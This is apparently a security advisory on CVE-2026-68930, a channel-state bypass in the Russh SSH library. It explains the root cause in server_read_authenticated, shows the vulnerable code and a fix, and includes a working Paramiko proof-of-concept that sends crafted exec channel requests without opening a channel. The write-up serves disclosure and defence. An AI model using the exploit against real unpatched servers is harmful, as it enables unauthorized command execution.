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How CVE-2026-68930 Works
CVE-2026-68930 is a vulnerability in the Russh SSH library (a Rust implementation for both clients and servers) that allows an authenticated client to execute channel-scoped commands without ever opening a valid SSH channel.
In the SSH protocol (RFC 4254), messages like `SSH_MSG_CHANNEL_REQUEST` are strictly channel-specific operations. They are not global, post-authentication commands. The protocol expects that the `recipient channel` field in these messages refers to a channel that has been previously opened and confirmed by the server. The server application’s policy for allowing a channel is enforced in the `channel_open_session` callback. If this returns false, the application expects that no channel-scoped callbacks (like exec_request, shell_request, etc.) will be invoked for that session.
The root cause of this vulnerability lies in the `server_read_authenticated` function in the `russh/src/server/encrypted.rs` file. When processing incoming packets, the code decodes the channel-scoped messages. It does perform a lookup to see if the channel exists in its internal table, but the crucial error is that the application’s handler callback is invoked outside of this guard.
This means even if the channel lookup fails (because the channel was never opened or was explicitly denied), Russh will still call the corresponding handler function in the server application. The strongest proof-of-concept demonstrates this by having an authenticated client skip the `SSH_MSG_CHANNEL_OPEN` message entirely and directly send crafted `SSH_MSG_CHANNEL_REQUEST` packets with `exec` requests for a range of recipient channel IDs (0..31). The server processes these and invokes the `exec_request` handler for each one, even though no channel exists.
This is not an authentication bypass; a valid login is still required. However, it completely subverts the server’s channel-open policy, allowing a malicious authenticated user to trigger state-changing operations that should have been blocked by the initial channel-open decision.
DailyCVE Form
Platform: Russh
Version: < 0.62.5
Vulnerability: Channel-State Bypass
Severity: Moderate
date: 2026-08-03
Prediction: 2026-08-03 (Patched)
What Undercode Say: Analytics
The vulnerability stems from inconsistent state management in the `server_read_authenticated` function. The application’s `exec_request` handler is called unconditionally, bypassing the channel establishment check.
Affected Code Pattern (Vulnerable)
"exec" => {
let req = map_err!(Bytes::decode(r))?;
map_err!(ensure_end(r))?;
if let Some(chan) = self.channels.get(&channel_num) {
let _ = chan
.send(ChannelMsg::Exec {
want_reply: true,
command: req.to_vec(),
})
.await;
}
handler.exec_request(channel_num, &req, self).await
}
The `handler.exec_request(…)` call is made regardless of whether `self.channels.get(&channel_num)` succeeds.
Suggested Fix
The fix requires a mandatory check that the channel exists and is confirmed in the `enc.channels` table before dispatching any channel-scoped callback.
A minimal fix involves adding a helper function to verify the channel’s existence:
fn ensure_established_channel(&self, channel: ChannelId) -> Result<(), Error> {
if self
.common
.encrypted
.as_ref()
.and_then(|enc| enc.channels.get(&channel))
.is_some_and(|channel| channel.confirmed)
{
Ok(())
} else {
Err(Error::Inconsistent)
}
}
This check must be called before dispatching any channel-scoped callbacks, including but not limited to:
– `CHANNEL_REQUEST` (for exec, shell, subsystem, pty, env, etc.)
– `CHANNEL_DATA`
– `CHANNEL_EXTENDED_DATA`
– `CHANNEL_EOF`
– `CHANNEL_CLOSE`
– `CHANNEL_WINDOW_ADJUST`
Exploit
The provided Proof-of-Concept (PoC) uses Python’s Paramiko library to act as a malicious SSH client.
PoC Code Snippet (Exploit)
import paramiko
from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST
from paramiko.message import Message
def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None:
msg = Message()
msg.add_byte(cMSG_CHANNEL_REQUEST)
msg.add_int(recipient_channel)
msg.add_string("exec")
msg.add_boolean(True)
msg.add_string(b"protected")
transport._send_user_message(msg)
def exploit_without_open(port: int) -> None:
transport = paramiko.Transport(("127.0.0.1", port))
transport.connect(username="alice", password="correct")
for channel_id in range(32):
send_exec_request(transport, channel_id)
time.sleep(0.01)
transport.close()
Exploit Results
- Normal Allowed Control: A standard SSH session is opened, and `exec_request` is called once.
- Normal Denied Control: The server denies the channel open, and `exec_request` is never called.
- Exploit (No Channel Open): The client never sends
SSH_MSG_CHANNEL_OPEN. It sends 32 crafted `SSH_MSG_CHANNEL_REQUEST` packets. The server calls `exec_request` 32 times. - Exploit (Denied Open): The client sends a channel open request, which is denied. It then sends the crafted requests, and the server still calls `exec_request` 32 times.
Protection
- Upgrade: The primary and most effective protection is to upgrade to Russh version 0.62.5 or later.
- Regression Test: A regression test has been added to the Russh codebase to ensure this vulnerability is not reintroduced. The test verifies that callbacks like
exec_request,shell_request,data,channel_eof, and `channel_close` are not invoked for non-established channels. - Positive Control: The regression test also confirms that a normally opened session channel still functions as expected.
Impact
- Bypass of Security Policies: An authenticated client can completely bypass the server application’s channel-open policy, which is a critical security boundary.
- Unauthorized Command Execution: The most direct impact is the ability to execute commands, start shells, or launch subsystems (like SFTP) without the server’s permission.
- State Corruption and Workflow Manipulation: Depending on the application, this could lead to the execution of unintended internal workflows, state changes, or data tampering.
- Exploitation Scope: The attack is confined to the application’s context but can lead to significant data modification or unauthorized operations within that scope.
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Sources:
Reported By: github.com
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